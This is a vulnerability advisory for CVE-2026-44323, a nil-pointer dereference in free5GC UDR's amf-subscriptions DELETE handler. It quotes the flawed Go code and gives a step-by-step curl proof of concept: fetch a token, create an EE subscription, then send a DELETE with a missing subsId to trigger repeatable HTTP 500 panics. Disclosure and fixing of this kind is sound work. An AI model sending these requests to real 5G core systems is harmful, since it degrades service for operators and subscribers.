CVE-2026-44323: free5GC: UDR nudr-dr DELETE amf-subscriptions panics on missing subsId when UE state exists (nil pointer dereference)

Summary free5GC's UDR nudr-dr DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions handler contains a nil-pointer dereference reachable from a single authenticated request, after one preparatory authenticated EE-subscription create. The handler checks , ok = UESubsData.EeSubscriptionCollection[subsId] and sets a 404 problem-details on the miss path, but then continues to UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos -- dereferencing the same missing entry instead of returning. Gin recovery converts the panic into HTTP 500, but the endpoint remains repeatedly panicable.

This endpoint requires a valid nudr-dr OAuth2 access token (i.e. PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding.

Details Validated against the UDR container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/udr:v4.2.1 - Runtime UDR commit: 754d23b0 - Docker validation date: 2026-03-22 - UDR endpoint: http://10.100.200.11:8000

Precondition (one authenticated EE-subscription create allocates UE state): go if !ok { udrSelf.UESubsCollection.Store(ueId, new(udrcontext.UESubsData)) value, = udrSelf.UESubsCollection.Load(ueId) } ... UESubsData.EeSubscriptionCollection[newSubscriptionID] = new(udrcontext.EeSubscriptionCollection)

Vulnerable handler (delete on amf-subscriptions): the ok miss path sets pd but does not return, so the very next line dereferences the nil entry: go , ok = UESubsData.EeSubscriptionCollection[subsId] if !ok { pd = util.ProblemDetailsNotFound("SUBSCRIPTIONNOTFOUND") }

if UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos == nil { pd = util.ProblemDetailsNotFound("AMFSUBSCRIPTIONNOTFOUND") } When subsId is absent, UESubsData.EeSubscriptionCollection[subsId] is nil, and .AmfSubscriptionInfos panics with runtime error: invalid memory address or nil pointer dereference.

Code evidence (paths in free5gc/udr): - Precondition route + handler (EE-subscription create that allocates UE state): - NFs/udr/internal/sbi/apidatarepository.go:600 - NFs/udr/internal/sbi/apidatarepository.go:602 - NFs/udr/internal/sbi/apidatarepository.go:2528 - NFs/udr/internal/sbi/processor/eventexposuresubscriptionscollection.go:25 - NFs/udr/internal/sbi/processor/eventexposuresubscriptionscollection.go:30 - NFs/udr/internal/sbi/processor/eventexposuresubscriptionscollection.go:38 - Vulnerable delete route + dispatch: - NFs/udr/internal/sbi/apidatarepository.go:2161 - NFs/udr/internal/sbi/apidatarepository.go:2172 - Panic root cause (nil deref): - NFs/udr/internal/sbi/processor/eventamfsubscriptioninfodocument.go:62 - NFs/udr/internal/sbi/processor/eventamfsubscriptioninfodocument.go:64 - NFs/udr/internal/sbi/processor/eventamfsubscriptioninfodocument.go:69

PoC Reproduced end-to-end against the running UDR at http://10.100.200.11:8000.

1. Restart UDR (clean state): docker restart udr

2. Obtain a valid nudr-dr token from NRF: curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'granttype=clientcredentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=UDR&scope=nudr-dr'

3. Create one EE subscription to populate UESubsCollection for ueId=x: curl -i -sS -X POST \ 'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/context-data/ee-subscriptions' \ -H 'Authorization: Bearer <validnudrdrjwt>' \ -H 'Content-Type: application/json' \ --data '{}' HTTP/1.1 201 Created

4. Trigger the panic with a nonexistent subsId: curl -i -sS -X DELETE \ 'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions' \ -H 'Authorization: Bearer <validnudrdrjwt>' HTTP/1.1 500 Internal Server Error Content-Length: 0

5. UDR container logs (docker logs udr) confirm the nil-pointer panic at eventamfsubscriptioninfodocument.go:69 inside RemoveAmfSubscriptionsInfoProcedure: [ERRO][UDR][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/udr/internal/sbi/processor.(Processor).RemoveAmfSubscriptionsInfoProcedure .../eventamfsubscriptioninfodocument.go:69 github.com/free5gc/udr/internal/sbi.(Server).HandleRemoveAmfSubscriptionsInfo .../apidatarepository.go:2172 [INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions |

Impact NULL pointer dereference (CWE-476) in an authenticated UDR data-repository handler, caused by improper handling of the missing-subsId branch (CWE-754): the handler sets a problem-details value but does not return, then dereferences the same missing map entry.

This is NOT framed as an auth-bypass finding: the endpoint requires a valid nudr-dr OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can: - Trigger a reliable, repeatable nil-deref panic on the amf-subscriptions delete route after one preparatory POST that allocates UE state for the chosen ueId. - Repeat the trigger to sustain a per-request panic-DoS on UDR's data-repository surface, with each panic costing more CPU + log writes than the intended 404 SUBSCRIPTIONNOTFOUND response would have.

No Confidentiality impact (the response is 500 with empty body; no UE data is returned to the attacker via the panic). No persistent Integrity impact from the panic itself (the EE subscription created during the precondition is in-memory state owned by UDR's intended data-repository semantics, and is not corrupted by the delete-time panic). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running).

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/919 Upstream fix: https://github.com/free5gc/udr/pull/60